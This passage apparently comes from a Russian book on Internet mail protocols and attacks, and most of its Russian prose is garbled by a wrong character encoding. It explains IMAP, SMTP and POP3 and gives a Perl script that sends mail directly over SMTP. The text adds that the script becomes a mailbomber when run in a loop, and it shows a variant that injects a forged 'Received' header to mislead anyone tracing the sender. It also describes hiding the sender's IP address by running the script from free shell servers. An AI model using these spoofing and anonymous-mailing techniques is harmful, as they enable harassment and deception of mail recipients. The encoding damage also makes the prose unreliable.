 Draft: 襭 ᮮ饭 (୮)
 Deleted: ᮮ饭 祭  㤠,   䨧᪨  㤠
 Seen: ᮮ饭 㦥 뫮 ⠭
 Recent: ⮫쪮  祭 ᮮ饭 [198]
饥 祢 ᫮ "PERMANENTFLAGS" 뢠,  䫠 ᮮ饭   짮⥫,   <*> () 砥 < 䫠>.
 ப, ᯮ ,   ⮬,   騪 ᮤন ᥣ  쬮, ஥ 뫮 ⮫쪮  祭. <쪮 > ᫥ ࠪ⮢  < ஬⪥   ᫥ ﬨ>.
饭 "UNSEEN 1" 室  祭 易⥫  ॠ樨  뢠 ⢮ ⠭ ᥬ.  ਢ ਬ  ⮫쪮  ⠪ 쬮.
 ६ 䨪 , ᫥騩  "UIDVALIDITY",  ᯮ짮       ᨨ  ᨨ.
᫥ ப ᮮ頥 ࠢ    .   砥 㯭 ⥭   ᮮ饭.
騩 ᯥਬ  孨 ⥭ ᮮ饭.  ⫨稥  POP3, ⠪,  ,   믮 쬠 㤭⥫쭮.   POP3 ᪠    - 祭 ᥣ ᮮ饭 楫, ⮪ IMAP4   ࠭ ᮮ饭 ॡ 㪠  !
 ᠭ ᨭ⠪  ᮤন  RFC-1730,  ஬ ⥫쭮 ४ ,   ਢ      ।⠢ .
饭   ⠭ ࠧ묨 ᯮᮡ,    த஢ .  砥  맮  "FETCH"  ࠬࠬ, 㦤  室  ࠬ  ,    ௭  RFC-1730.
 ⥩襬 砥  祭  ᮮ饭 室 ३  ,  ன ࠭  ᮮ饭 ( ⮣ ᯮ  "SELECT")  ࠢ ࢥ ᫥騩  "FETCH msg BODY[HEADER]",  "msg" 浪  ॡ㥬 ᮮ饭.
ਬ,   룫拉 ⠪:


 kpnc SELECT INBOX

 kpnc FETCH 1 BODY[HEADER]

 1 FETCH (FLAGS (\Recent \Seen) BODY[HEADER] {1032}

 Return-Path: <kpnc@aport.ru>

 Received: from msk2.mail.ru (mx2.mail.ru [194.67.23.33])

 by mx1.mailru.com (8.10.0/8.10.0.Beta10) with ESMTP id e2TCbfd35173

 for <kpnc@mailru.com>; Wed, 29 Mar 2000 16:37:41 +0400 (MSD)

 Received: from camel.int ([10.0.0.98] helo=camel.mail.ru)

 by msk2.mail.ru with esmtp (Exim 3.02 #116)

 id 12aHjy-0000Dk-00

 for kpnc@mailru.com; Wed, 29 Mar 2000 16:38:30 +0400

 Received: from ppp-02.krintel.ru ([195.161.41.226] helo=KPNC)

 by camel.mail.ru with smtp (Exim 3.02 #107)

 id 12aHje-0002OB-00

 for kpnc@mailru.com; Wed, 29 Mar 2000 16:38:12 +0400

 Message-ID: <006801bf997a$e6e39e80$f429a1c3@KRINTEL.RU>

 From: =?koi8-r?B?69LJ0yDrwdPQxdLTy8k=?= <kpnc@aport.ru>

 To: <kpnc@mailru.com>

 Subject: Test

 Date: Wed, 29 Mar 2000 16:31:32 +0400

 MIME-Version: 1.0

 Content-Type: text/plain;

 charset="koi8-r"

 Content-Transfer-Encoding: 7bit

 X-Priority: 3

 X-MSMail-Priority: Normal

 X-Mailer: Microsoft Outlook Express 5.00.2417.2000

 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

)

 kpnc OK Completed

 ⥪ 쬠  , ᯮ짮 ᮬ "FETCH msg BODY[TEXT]".

ਬ:

 kpnc FETCH 1 BODY[TEXT]

 1 FETCH (BODY[TEXT] {16}

 Hello, KPNC!



)

 kpnc OK Completed




⠫  ⮪ IMAP4  ᬠਢ  ,      孨᪮ 㬥樨 RFC-1730, RFC-2060  RFC-2062.



. ⮢ ࢥ 



O  ⮩ :
O ⪠   ⠫쮭 SendMail
O ⥪ SendMail
O  SendMail - User Agent, Transfer Agent, Delivery Agent
O   ⢨ ⮢ SendMail
O ன⢮  祭  짮⥫
O ன⢮  祭  뫪
O ன⢮  祭  ⠢
O ன⢮ ⮢ 騪
O 堭 ࠢ ᥬ  ⥫
O 堭 ࠢ ᥬ 㤠 ⥫
O ਥ 室 ᮮ饭,  Sender - Receiver
O ⥭䨪 ࠢ⥫
O SMTP-ᮥ
O SMTP-࠭樨
O ᯮ짮 SMTP ࢥ  ਥ 室饩 
O । ࠢ ᮮ饭
O Relay-ࢥ
O  ନ쭮 뫪, ࣠ ७樨 ॠ쭮 ६
O ࢠन 
O ன⢮  POP3





<:, ஬ ,   祭 ᭮  ᢮ ᫨,  ᥣ 뢠 ⥭ ⥫:    ᫨  ᫮,  ⥫ -  ᫮  ᫨>
. 



 ᠭ ⮢ ⮪   ।  ਭ樯 㭪樮஢ ⮢ ࢥ  ஭묨   ⠫쭮 ᬮ७  ⮩ . 筮,  㭨ᠫ 堭 ⠢, ࠭  ࠡ⪨ ᯮ樨   -  ࠧࠡ稪  ࠢ ॠ뢠  -᢮. ⮬,  㤥 ᬮ७  , ᠬ ୠ ணࠬ SendMail,  ⠭  饬 設⢥ ⮢ ࢥ஢. ⠫ ⠫쮭 㭪樮 ࠪ᪨  ⮩  奬, ⮬  㦤 ᬠਢ     ⤥쭮.
ࢠ  SendMail 뫠 ᠭ  1980  ਪ  (Eric Allman), 㤥⮬ ୨᪮ 㭨  ફ,  祭 뫪   쭮  㭨 Berknet, 㧫, 祭  ARPAnet.
 ⢥   SendMail ᯮ짮 ⥫쭮 ⫠ ணࠬ DeliverMail (ᠭ  1979   BSD Unix 4.0),   ᯮᮡ প ࠧத ⥩.   ⮪  ࠭  SendMail. ᯫ⮩  㭨ᠫ쭮 ⠫ ⥫쭮  ᫮ ணࠬ,      ⢮ 饭 訡.   ⢥ত -   SendMail , 祬   ⠫   ਫ  UNIX.
ணࠬ SendMail ࠭ ᢮   室묨 ⥪⠬, ⮬ ᮢ襭  ⠥ ᫥묨 ࠧࠡ稪,       ᮡ⢥ 㦤.     ftp://ftp.cs.berkeley.edu

㭮 SendMail.bmp  룫廊 ⨯ ணࠬ SendMail
㭪樮쭮 SendMail    ᮡ ⮢: User Agent ( 짮⥫), Transfer Agent ( 뫪)  Delivery Agent ( ⠢).
  짮⥫  ନ஢ ᮮ饭  ࠢ  ஢ 祭 ᫠, ࠭騥  ⮢ 騪 (mailbox).
  뫪  ਥ  뫪 ᯮ樨   設  ,  ⮬ ᯮ㥬 ⥫ ⮪ 裡.
  ⠢ ࠢ ⮢ 騪 짮⥫,    室騥 ᮮ饭.
 ࠧ, SendMail ।⠢ ᮡ 祭 ⮢ ⥬,  ॡ   㣨 ਫ.




㭮 028.fig ன⢮  ⢨  ⠫쮭 SendMail



ன⢮ ⮢ 騪   ப ।,   ⥩襬 砥 -   䠩,   ᫥⥫쭮   㣨 뢠  室騥 ᮮ饭.  㣨 ॠ  ᮮ饭 頥  ⤥ 䠩, , ⠪  , ⮢ 騪 ࠧ  ।⠢    , ࠭饩  ࢥ. ⮪ POP3 (IMAP4)  ⢥ 堭 㯠  ᮡ⢥ ᯮ樨 -  ⥬  ᯥ宬  ᯮ짮 㦡 telnet, FTP, WWW  ..
 ⮨⢮ POP3 (IMAP4) - ।⠢ 㤮 㭨஢ 䥩  ࠡ  ⮢묨 騪.  뫪 ᯮ樨    .  ஫ ⥫쭮 ஬ - ⠢   ࢥ    짮⥫. ᪨      -  짮⥫, ஥  SendMail, ⥫쭮 ࠢ  祩 ⮡ࠦ ᮮ饭 [199].
 ࠢ 쬠 ᯮ ᫥騩 : ᭠砫 SendMail ⠥ ⠭ ⮯ ⥫. ᫨  ᯮ  쭮 設 [200], ᪠ ணࠬ "/bin/mail",  ᮮ饭  ⮢ 騪 짮⥫.  ᫮,  ⥫ 室  㣮 㧫.  SendMail  ଥ  ⠥ ᯮ ᯮ㥬 ⮪. , ਬ, ⨢   host1!host2!짮⥫ Transfer Agent ᯮ UUCP [201] ⮪  SMTP ⮪    user@host.  ࠩ 砥,   ।ਭ ⪠ ⠢ 쬠  ᮥ    㣨 .
 뫪   ਥ 室 ᮮ饭.  ᠭ SMTP ⮪, ࠣ  "Sender-Receiver".    ६ SMTP-ࢥ 㯠 ।稪 ᮮ饭,   㣮 - ਥ.  㭪樨 ॠ  뫪, -  ஬ ⮢ ⥬. 㣨 ᫮, Transfer Agent ।⠢ ᮡ    ॠ権 ⮪ SMTP,  ⠫    ஬ ࠡ⮩ < 宧>.
 ᢮ ।  뫪 ⮨  ᫥ 㫥,     । 室 뤥 堭 প ਧ樨  ࠭権.
 ᨨ SendMail, ࠢ   㣨 ⮢ ணࠬ,  ॡ ⥭䨪樨 짮⥫ । ࠢ .     ⮬ ᮡ ﭠ (  ᠭ樮஢ 㯠  ଠ樨  ⮬  ந室 [202])  த   ,     ᯠ, 뫠騥    ᯮ 嫠. ६ ᫮  ⢮ 뫨,   ⠭ 饤㯭 ࢥ 室饩 . ⮬,  孨᪨ ।⢠, ᯮᮡ ஢ 㣮 짮⥫.
   祣 ᫮  ⮬ . 筮, ਬ, 訢 ஫  室  ࢥ, :  ॡ  । ᥣ ᪮ ணࠬ ᯥ祭. ⮬, 뫮 襭 ᯮ짮  ⢥ ஫ IP- .  ᮦ,  設⢥ 砥 ஢ ।⠢ ⠬, ⠪ 뢠, ᪨ IP ,   뤠     ⢥ 㭨쭮 䨪 筮  室.  । ᫥騩 堭, - ᭠砫 짮⥫    POP3 ࢥ   ᢮   ஫ [203]. ᫥ ᯥ譮 襭 樨 । IP    । SMTP-ࢥ.  祭 ண ஬⪠ ६ [204], SMTP-ࢥ 뢠 室  짮⥫, 饣  IP ᮬ. ⪨ ⠪ 襭 - ᫠ 饭  । 㤮⢠  ࠢ  - ⠪, ਬ, "Outlook Express"   । ⠥ 믮 ࠢ 室饩 ,  ⮫쪮 ⮬ ஢ ⮢ 騪.







 ࠢ    Outlook,  ࢥ ॡ騩 ਧ樨 ࠢ⥫, 룫廊 ⠪, -  ࢮ ⪥ ࠢ 쬠 SMTP ࢥ 頥 訡, ४ ᭠砫 <ᢥ>  POP3. 箪    <⠢ > ਢ  ୮ ⪥   SMTP ࢥ,  筮 ⠪  㤥 ⢥࣭. ᫥ ⮣ Outlook 室  POP3 ࢥ,   ⠢ ॡ㥬 IP . ன 饫箪  <⠢ > - ਢ   १, , ᪮쪮  譨 権  ⮣ 諮 ᤥ!
 ࢥ ᥣ  ஢   , ᮮ頥   "MAIL FROM". 㬥, 祣  ⮨ ।  , ᫠ 쬮   㣮 祫.  ⮣ 筮      짮⥫, ॣ஢  ࢥ.
⮬, ᮢ६ ⮢ ࢥ ᭠饭 ᮡ⢥묨 堭 ⥭䨪樨, ॡ騬  ।   ஫.







 ᮦ, ⥭䨪 ࠢ⥫ ন    ⮢ ,    ⭮  ᨨ Outlook,  ⮩.
Outlook 5.0   ᯥ稢 ஢  짮⥫ -  ⮣ 筮  ᮮ⢥   ⮩ <ࢥ>

㭮 029 ⥭䨪 ࠢ⥫
প SMTP-࠭樨 ࠥ  SMTP-ᮥ [205]  砥  ᥡ  蠣.  ⨥ ࠭樨 (ᮢ蠥  <MAIL FROM>), । ᮢ ⠢ ( ਥ  <RCPT TO>)  । ⥪ ᮮ饭 (樨㥬  <DATA>). ᫥⥫쭮 <७ ப>, <窠>, <७ ப> 蠥 ࠭. ஡   ᠭ   <⮪ SMTP>,    ⠫ < ஬>   ᬮ७ .
<࠭> ॢ  ᪨   <㯯 >, -    砥 砥  ࠢ  ᮮ饭   (㯯) ᮢ. ⨥ ࠭樨 ⠢ ⥫    ⠡     ਥ  ᮮ饭. ⥬ ᫥⥫묨 맮 <RCPT TO>   祭.  ⮬  ᫥騥 樨, - ᫨ ⥫ 室  㧫 SMTP-ࢥ, 쬮 㤥  饭   ⮢ 騪,  ⨢  砥   뫪 㤥   ஥, ⠭ ஬.    뫪 ᯮ樨  । 쭮 設 饭, - ࢥ  ⮫쪮  ਥ.  ⠪ 䨣  뢠  稨 <⮢ 騪 짮⥫>. , ਬ, ᪠஢ ⮢ ࢥ mail.computerra.ru, 㪠뢠      (.. SMTP ࢥ ⠭).




㭮 30.gif ஢ ⮢ ࢥ mail.computerra.ru



 ⪠ ᯮ짮 mail.computerra.ru  ⢥ ࢥ 室饩   ᢮ ⮢    祬  ਢ, - ࢥ ⪠ ࠢ ᮮ饭.  ᠬ     ࠢ,  ⮫쪮    - ⠪,  룫  @computerra.ru.   業 SMTP ࢥ
ᯮ ᪫⥫쭮  ਥ 室饩
.  뢠  室 ࢥ 室饩  ⫨   ᥣ   ப [206] 䨣樮 䠩, ࠧ饩 뫪  । 쭮 設.


 ⨬ 易   짮⥫ <祬    ࠢ ᮮ饭 १ mail.ru - ࢥ 㣠  ⢥࣠ ⥫>.  ᠬ   mail.ru [207] ⠭  SMTP ࢥ -    mail.ru, ᪠騩 뫪 ⮫쪮  । mail.ru; 㣮  室  smtp.mail.ru -  -  㦥 設 짮⥫.
 ⮬ -⠪  ਠ, - ᫨  ⥫  ⮪  ࢥ஬,  ⠥ ࠢ 쬮  祭,  ⨢ 砥 । ᤥ   ᠬ⥫쭮 [208]. ,  ⥫    ४⭮   ⢮,  祬 SMTP ࢥ ⥫쭮 㢥 ࠢ⥫.  訡 㪠   ᪮쪨 ⥫  ࠧ뢠 SMTP-࠭      ⠫  "RCPT TO".
᫨  室 ࠧࢠ ⥪ ࠭  १㧨 SMTP-ᮥ, ᯮ  <RSET>, 뢠  㬥⮢ [209].  ࠢ⥫  ⥫  ࠭樨  饭묨  ࠢ 쬠 ਤ 稭 ᭠砫.
 뫪  室饥 ᮮ饭  । ࠢ,  ᥣ ᯮ  䠩 </var/spool/mqueue>,   浪 <樠᪮ ।> 㤥  ⠢ 쬠 ⥫. ᫨  - 稭, ਬ, ⢨ 裡  ࢥ஬, ᮮ饭  㤠 ࠢ  祭 ᪮쪨 ᮢ, ࠢ⥫ 㤥 । 㢥, ,  ⢨ । ⢠ ⮪, SendMail  쬮 ࠢ⥫  㤠   ।.
    ⠢ ᯮ樨  祭   ᯥ樠஢ ࢥ, 뢠 ﬨ ( ᪮ relay), ஭   <⮪ SMTP>.       SMTP-ࢥࠬ   ॠ   SendMail. ࠪ᪨ ⢥ ⢥ ⫨稥 relay-ࢥ஢ 砥  ய᪭ ᯮᮡ , ᮥ饣   Internet, -    ⠭  ⥭ᨢ 뫪 ᯮ樨.
ᠭ묨  ﬨ     뫪, ⢥騩 ⠭⠬ RFC.    㭪権    易⥫  ॠ樨, ।  ன  㤨⥫쭮   .
, ਬ,   ஭  ᫮ ࣠ ७  饭  ॠ쭮 ६ [210].  ⮣ 筮 ᯮ짮 , 뫠騬 쬠  㤠 ନ,    ⮢ 騪.    DeliverMail [211] ⢮    ⥫   "host/dev/con",   ᮮࠦ ᭮  뫮 ࠢ,  ⠪  ࠢ ࠧࠡ稪  稫 쭥襥 ࠧ⨥.
   <᭮> ⮢ ࢥ஢ ࠪ᪨   ।⠢  ᪨ .  樮 ᯥਬ ॡ ନ, ࠡ騩  ࠢ UNIX [212]  ⮢ ࢥ, ন騩 । ᥬ  ନ [213].
 "SEND FROM", ᯮ  "MAIL FROM", ࠢ ᮮ饭  ᮫ ⥫. ᫨  ⥫  ⨢ - 쬮 㤥 ﭮ  - 㢥, ⮬ ४ ᯮ짮  "SOML FROM" (Send Or Mail),  ⮬᪨ 頥 ᮮ饭  騪, ᫨ ନ 짮⥫ ⨢.  "SAML FROM" (Send And Mail) ࠢ ᮮ饭  ନ , ᨬ  ᯥ譮 樨, ࠢ    ⮢ 騪 ⥫.
 ⢥ ᯮ  ॡ ࠧ뢠 SMTP-ᮥ - 筮 ࠢ⥫  ⥫  ⠬, ᯮ짮  "TURN", 뢠  㬥⮢.
 ᯮᮡ 饭  ᢮ ⪨,    ६ 뢠 筮 㤮,    ஭ .  ᮦ, SendMail  ন  <SEND FROM>, <SOML FROM>, <SAML FROM> , ⮬, ਤ ᪠ 㣮 ⮢ ࢥ.







쭮  [214]  ⮢ ࢥ  ॡ,    ⮢ 騪  ६ ࠭  ⠭ 㯭,      ᮤন.  ᫨  ࠢ⥫ ࠢ   ᪮쪮 ᮢ ࠧ!   类  ⮣ 묨 ।⢠ .  ᠬ  ਥ 襭 ஡ ⨣ ᥭ ᥣ  ⮪  䨣樮 䠩 ".forward", ᯮ  譥 ⠫ 짮⥫.
ਬ:
\kpnc, kpnc@aport.ru, kpnc@hotmail.ru
 ⮬ 砥, SendMail 㤥 㡫஢  室 ᯮ   㪠 ᠬ  ஬ ⮣,   ⮢ 騪 짮⥫, ᯮ  ⠫ "/var/mail/kpnc" [215]. ᫨  ப "\kpnc" 㤠,   㤥 ࠭  ࢥ [216]. 筮 १   ᫥ ॡ㥬 ᮢ  䠩 aliases.
⥫쭮  ஥ POP3 Agent.  設⢥ 砥  ॠ  㬥頥  ᪮쪨  ப 몠   Perl [217]. ⮣ 뢠  筮  প    ⮪ POP3 (USER, PASS, QUIT, STAT, LIST, RETR, DELE, NOOP, LAST, RSET - ஡    ᪠뢠   <⮪ POP3>).
祭  ந室   ⠤.  ࢮ ⠯ 믮 ਧ - ஢ઠ   ஫ 짮⥫.  饬 砥  ।    ⮬ ,   ᫥ ६  ᮮࠦ ᭮ ⠫ ਡ  ࠧ ⬠ ஢. ᫨ ஢ઠ ஫ 諠 ᯥ譮,  뢠 ࠭  ।⠢   ⮢ 騪.  ⠤  ࠭樨 㭨⮦  ᮮ饭, ⬥祭 짮⥫  㤠.  設⢥ 砥  権  騪  POP3 ਡ  㣠  짮⥫ SendMail  㣮 ⠫쮭, ⠭  ⥬.  ࠧ,  POP3 ࢥ  ⠥ 祣 ⠨⢥.


१ <ଠ>




 POP3 ࠩ   । UNIX. , ਬ,  ⠭⭮ ⠢ SPARC  Solaris   POP3    騥 ⠭   ᢮ ⥬ 㦤   ᠬ⥫쭮 -  室 ⥪ ணࠬ, ॠ  ⮪, ப ࠭  .



.  뫪 ᯮ樨



O  ⮩ :
O  ਯ, ࠢ饣 ᮮ饭
O ᯥ祭  ࠢ⥫ 쬠
O 䨪  ᮮ饭


設⢮ SMTP-ࢥ஢ । IP- ࠢ⥫ ᮮ饭  ⠢   . 筮, IP-    ᠬ ࠢ⥫ (ண  ),    室   .
   ⢮ 㦡, ।⠢ 㣨  த (ਬ, proxy-ࢥ, ),    㪠뢠   ࠢ⥫  ,      proxy-ࢥ஢  ৠ  ᮬ.
   襭 ஡ 砥 ᯮ짮 ணࠬ 뫪 ᥬ, ࠧ饭  㤠 ࢥ. 롮 ࢥ, 祭  ஬ Internet-,  ᮢ 뫪 ᯮ樨.


 稭騥 ।⥫   ਤ㬠 祣 ਣ쭥, 祬 ⠢ ࢥ   ਯ  ᠬ ᢥ ਡ⨢ -ᨨ Windows 2000 [218]  뫠   騪   ﭭ ⢠.
㤠 ਢ⥫쭥 룫廊 ⪠ ਭ㤨⥫쭮 ਮ饭 ⠪㥬   ४᭮, ਬ,    ᬨ᪨ ᫥ﬨ NASA ( 祣 ᯮ ⮣䨨, 㯭  ᠩ www.nasa.gov)
 ਢ    ॠ権 ⠪ ணࠬ, ᠭ  몥 Perl ( ᪥, ਫ  ,  室  䠩 "/SRC/smtp.pl"). ஡ ᭥  ࠡ 室  ࠬ  , ,  ணࠬ 筠 , ⮡    ࠧ  ⮢ ⥫.


 use Socket;

 my($mailFrom) = 'KPNC@APORT.RU';

 my($MailTo) = 'KPNC@APORT.RU';



 socket(SMTP, PF_INET(), SOCK_STREAM(), 6);

 connect(SMTP,sockaddr_in(25,inet_aton("mail.aport.ru")));



 recv(SMTP, $buffer, 200, 0);

 print "$buffer\n";



 send(SMTP, "HELO kpnc\n",0);

 print ">HELO\n";



 my($buffer) = @_;

 recv(SMTP, $buffer, 200, 0);

 print "$buffer\n";



 send(SMTP, "MAIL FROM: <$mailFrom>\n",0);

 print ">MAIL FROM:<$mailFrom>\n";

 recv(SMTP, $buffer, 200, 0);

 print "$buffer\n";



 send(SMTP, "RCPT TO: <$MailTo>\n",0);

 print ">RCPT TO: <$MailTo>\n";

 recv(SMTP, $buffer, 200, 0);

 print "$buffer\n";



 send(SMTP, "DATA\n",0);

 print ">DATA\n";

 recv(SMTP, $buffer, 200, 0);

 print "$buffer\n";



 send(SMTP, "From: Kris Kaspersky\n", 0);

 print ">From: Kris Kaspersky";

 print "<BR>\n\n";



 send(SMTP, "Subject: Test\n", 0);

 print ">Subject: Test\n";



 send(SMTP, "Hello, KPNC!\n", 0);

 print ">Hello, KPNC!\n";



 send(SMTP, "\r\n.\r\n",0);

 print "\r\n.\r\n";

 recv(SMTP, $buffer, 200, 0);

 print "$buffer\n";



 send(SMTP, "QUIT\n",0);

 print ">QUIT\n";

 recv(SMTP, $buffer, 200, 0);

 print "$buffer\n";



 close(SMTP);




ਢ ਬ  ᫠ ⮫쪮  쬮  㪠 .  ᠬ  , ᫨ ணࠬ  ࠢ  쬮,  㬥  , ⮨ ⮫쪮   横 [219].


 諥  ਢ 祭 ਬ, ⠢ ⥫ ᢮ ࠭⢮  ⢮⢠.  ⨢ 砥 ᫨誮    ᮡ      ᯮ짮 ᮤঠ騥  ᪥ ணࠬ ॠ樨 ⠪, ᮢ襭   堭  ࠡ.
ਯ 室 ࠧ  ࢥ,  ন 㤠 믮 ணࠬ, ࠧ蠥 telnet-室,   稥  Perl  ᪠ ⠭ ᮥ  㣨 㧫 . ᫥ ॡ 㤮⢮, ਬ, hobbiton.org   㣨 ᯫ ࢥ.
 ࠧ饭 䠩 ਯ  ࢥ  ᥣ ᯮ짮 ftp-⮪,     telnet-ᨨ  ᥣ ⠪: "perl 䠩.pl". ( ᪠ ਯ  ⮪ HTTP  ਤ ᪮쪮 ஢,  ⮬,   ᤥ ᪠   <⮪ HTTP>). ᫥ 襭 ࠡ ਯ ࠭  룫拉 ਡ⥫쭮 ⠪:




㭮 31  ࠡ ਯ, 뫠饣 쬮



 祭   ਬ    塞 ⮥    யᠭ ।⢥  ⥫ ணࠬ.    祭 ணࠬ,  ᥣ  , 騩 ਭ樯   ࠢ ᯮ樨.
 쬠, ⠢  "kpnc@aport.ru" (   㣮 )  룫拉 ਡ⥫쭮 ⠪:
 From kpnc@aport.ru Mon Jun 05 11:51:53 2000
 Received: from hobbiton.org ([216.161.239.42] helo=kpnc)
 by hearst.mail.ru with smtp (Exim 3.14 #3)
 id 12yrfs-000KGD-00
 for KPNC@APORT.RU; Mon, 05 Jun 2000 11:51:53 +0400
 From: Kris Kaspersky
 Subject: Test
 Message-Id: <E12yrfs-000KGD-00@hearst.mail.ru>
 Date: Mon, 05 Jun 2000 11:51:53 +0400
  ᮤন IP- ࢥ, 믮襣 ਯ,    ଠ樨  ࠢ⥫ ( ᪫祭 ,    ⠢ ᠬ).  ࠧ,  ந ᮡ⢥ , 騩  ᮧ⥫ (, ,  㣨 짮⥫) 뫠  ᮮ饭.
 㣨 ।⠢ ⭨ ⠢騪  ,     ⢨⥫쭮 .  ᥣ 짮 ணࠬ ᯥ祭 ᮡ⢥ ᠭ,  ஬  ࠭஢ ⢨ <>,   㦮  ६ 뢠 ।᪠㥬 [220].
 孨᪨  䨪஢ IP-  짮⥫, 稢  hobbiton.org [221]  ⨢ ਯ 뫪  믮. ⮬, ࠢ⥫, 饬  ᮫⭮ , 室  ⠪ ࢥ,      ⮪ [222].   ⢮ ᪮쪮 ⪮ 㧫, ᫥⥫쭮 뫠 ਯ (    믮)  設  設. ᫨     㧫 ⮩ 楯窨  ॣ  祭,  ⠭ ࠢ⥫ 㤥 .  ਥ   ᮤন IP-. , ᪮ ⠪  ॡ 쬠 ᮪ 䨪樨,   筮  ਡ.
஬ ᮪  ࠢ⥫, ਯ  ᯮ짮  䠫䨪樨 ( 㭨⮦)  ᥬ. ਬ,  ᮧ ,  ࢥ, ࠢ訩 쬮, ᥣ  ࠭ 㧥 뫪,  <騩> ࠢ⥫ 室 ᮢᥬ - ᮢᥬ  㣮 .
 ⮣ 筮 ⠢    ( ᪮쪮)  <Received>, ਬ, ⠪ "Received: from mail.pets.ja" [223]. ஢ ਠ smtp.pl 室  ਫ   ᪥   smtp1.pl,   ਣ쭮 䠩 ⫨砥 ᫥騬 ப:
 send(SMTP, "Received: from mail.pets.ja\n", 0);
 print ">Received: from mail.pets.ja";
 쬠, ࠢ   ,  룫拉 ਡ⥫쭮 ⠪:
 From kpnc@aport.ru Thu Apr 06 10:57:30 2000
 Received: from [209.143.154.93] (helo=kpnc)
 by camel.mail.ru with smtp (Exim 3.02 #107)
 id 12d6EL-000NmZ-00
 for KPNC@APORT.RU; Thu, 06 Apr 2000 10:57:30 +0400
 Received: from mail.pets.ja
 From: Kris Kaspersky
 Subject: Test
 Message-Id: <E12d6EL-000NmZ-00@camel.mail.ru>
 Bcc:
 Date: Thu, 06 Apr 2000 10:57:30 +0400
⥫, ᪮॥ ᥣ, ,  쬮 諮  ࢥ mail.pets.ja,       ࠭.  ⨭ ⥫  ⥫쭮 㤭, ᫨   쬮 ।⢥  ⮢ 騪 ,  ᫠  १ ᪮쪮 ࠭ ࢥ஢.  ⮬   ࠢ ⨧樥 ⠢ ᮮ饭, ন SMTP-⮪. ᫨ ⢮ ᪮쪮 ⪮ 㧫  ⠢  쬮 ᪮쪮 ⪮  ப "Received",  ⠭ ⨭ ࠢ⥫ ᮮ饭 ⠭ ࠪ᪨ , ୥ ᪠, 楫ᮮࠧ.
 㡠   砥  䠫஢ . ᭮ 訡,    㧭 , ᫥騥: 㪠 ᮢ ࢥ஢     த; ⨫  ࢥ஬  "Received" ⫨砥  ᯮ㥬 諥; ॠ쭮 ६ 뫪 ᥬ ࢥ஬  冷  ( ), 祬  ᫥   쬠.
⮬,   ࠧ  "Received"   㧫 - 室 ᭨ । প  ⠢ ᮮ饭.   ᫮ ࠧ  ⬮ 樨 䨪஢, 塞 設⢮ ࠭ ࢥ஢   쬠    横.  䨪 㭨   ࢥ    ।⠢ ᮫⭮ 砩 祭, ᪮,  ⮣  ⢮  ୮ 뤠   ⮣  䨪,  ⨬.
ᯥ 㭨쭮  ਢ離  ६ 뫪 쬠.   樨 䨪     㧭 ६,    뤠.     䨪,          쬠.
祬  <譥 > 䨪 㤭 () ᪠  ࠧ   祭.  ⮣ 室  室 ⥪ ࢥ (᫨  㯭)  ᥬ஢ 設  (᫨ 室 ⥪  ).  ᫥饬  ਢ ਬ  䨪஢. 㬥, 㠫쭮 祣  ᪠  ⮬,   뫨 祭:
 From owner-sf-news@securityfocus.com Wed Sep 06 03:00:03 2000
 Received: from lists.securityfocus.com ([207.126.127.68])
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祬, ⭮, ⮡ ⥫  䨪樥, 筮  ஢   ஢.  設⢮ 짮⥫    㦤  㡮  .



.  祭 ᯮ樨



     .   .     ᥡ. ⢥,     죠 -   .   ⮣   ।祭.
 ⥭ भ <  㤠竨 நࠢ襬>
 祭   ᯮᮡ ࢥ । (    ) IP- 稢襣 .   ⥫ ⥫쭮 뢠 ᢮ ,  ᫨  ᪨. ஢, 뤥  IP,  ( ) ६,  ஥   뤠   짮⥫, ஬   뤠. ⮬,   ⠭ 筮 ⥫ 쬠.
 ࠭   ᯮ짮 ᯥ樠쭮 ࠧࠡ⠭ ਯ⮬,  ⠥ ᯮ  몫뢠   -  ftp-ࢥ.   㡨 ࠧ  楢 -  ᮡ⢥      ⪮ POP3 ⮪ - ⢨ 窨.
 ᠬ , ᫨  騪  ᮮ饭 ஬ ࠧ஢,      ࢥ,  ॡ  ⢮ ⮪, , , 쬮     . ⨢, ਯ, 믮騩  ࢥ   , 믮     ⥫쭮 襥 ६, , 뫮 ᮮ饭  ftp, ⥫쭮   祭 쬠, ᪮, ⥯ ⯠ 室 稭  ४窨  ᠬ 砫 ᫥  ࠧ뢠 ᮥ.
 ਢ  ਬ  ⢥ ୠ⨢ Perl ᯮ짮  Python,᭮ ⮨⢠ ண -   ஬ ⢮ ᥢ ⥪, ⠢塞   몮.  㤥 த஢ ᯮ짮   .
⥪ poplib 뢠  짮⥫ 堭 ⢨   POP3-ࢥ஬, , ⥫쭮 頥  ணࠬ஢. 쭮 㭪樮쭠 ணࠬ,   쬠, 㯨訥  ⮬   ⮢ 騪,  룫拉 ⠪ ( ᪥, ਫ  ,  室  䠩 "/src/pop.py"):


 #!/usr/local/bin/python

 import poplib

 print "Python's Mail client"

 print "Connecting:"

 M = poplib.POP3("mail.ru")

 print "Login:"

 M.user("MyLogin")

 print "Password:"

 M.pass_("MyUnpublishedPassword")

 print "Get List of message"

 numMessages = len(M.list()[1])

 print "Numers of message: ",numMessages

 for i in range(numMessages):

 for j in M.retr(i+1)[1]:

 print j




⭮, ⢥ ஡   ࢥ  ⠭ ஬ Python.  ࠭ ⮣ 몠 㤭  ᯮ짮 諥,  諮    ᮡ⢥ ࢥ஬,   ࠢ   㤠 ⠭ Python.








⠪  ⮢ ࢥ


O  ⮩ :
O  ⠪
O 墠 ⮢ 䨪
O  
O 訡 "uudecode"
O 訡  প 
O ஧  ᯠ஢


⮢ ࢨ -   ॢ ᮢ Internet,   ᥬ  ⠢訩  ꥪ⮬, ⠪  㤨 ⠪ 諥. ⮪-㣮   ⮢ ࢥ ᮤঠ ஬ ⢮ ,    ⠫ 묨   ᥩ .
 ᪮쪮 ⨯ ⠪: ⠪, ᭮  訡 ॠ樨 ணࠬ ᯥ祭 ( ⥪, ᯮ짮 ); ⠪, ᭮  ࠢ쭮 䨣樨 ࢥ  ⠪, ᭮  梨 ⥢ ⮪ (७  DNS, 墠 䨪).
  ᫮ ⢨ 訡 ॠ樨 ࠢ쭮 ஥ ⮢ ࢥ   ⠪, ᫨  ।ਭ ᮡ  ।஦,   ᢥ    .
